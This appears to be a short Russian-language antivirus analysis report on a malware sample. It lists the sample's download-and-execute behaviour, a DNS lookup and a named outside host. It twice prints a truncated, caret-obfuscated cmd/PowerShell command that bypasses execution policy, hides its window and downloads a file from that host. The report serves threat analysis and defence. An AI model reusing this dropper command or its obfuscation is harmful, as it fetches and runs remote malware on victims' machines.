Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://flowers-my.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWErs^H^eLL^.eXE -eXecUT^IOn^p^oLi^Cy^ ^by^p^a^SS^ -^N^OPRoFIlE -w^iNDo^ws^tYL^E ^HI^d^dEN (NEW-ObJ^Ect S^ys^tEM.^N^et^.^we^B^C^L^iENt^).d^OWnl^OadF^Ile('http://flowers-my...
Сетевая активность
UDP
- DNS ASK fl###rs-my.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWErs^H^eLL^.eXE -eXecUT^IOn^p^oLi^Cy^ ^by^p^a^SS^ -^N^OPRoFIlE -w^iNDo^ws^tYL^E ^HI^d^dEN (NEW-ObJ^Ect S^ys^tEM.^N^et^.^we^B^C^L^iENt^).d^OWnl^OadF^Ile('http://flowers-my...' (со скрытым окном)
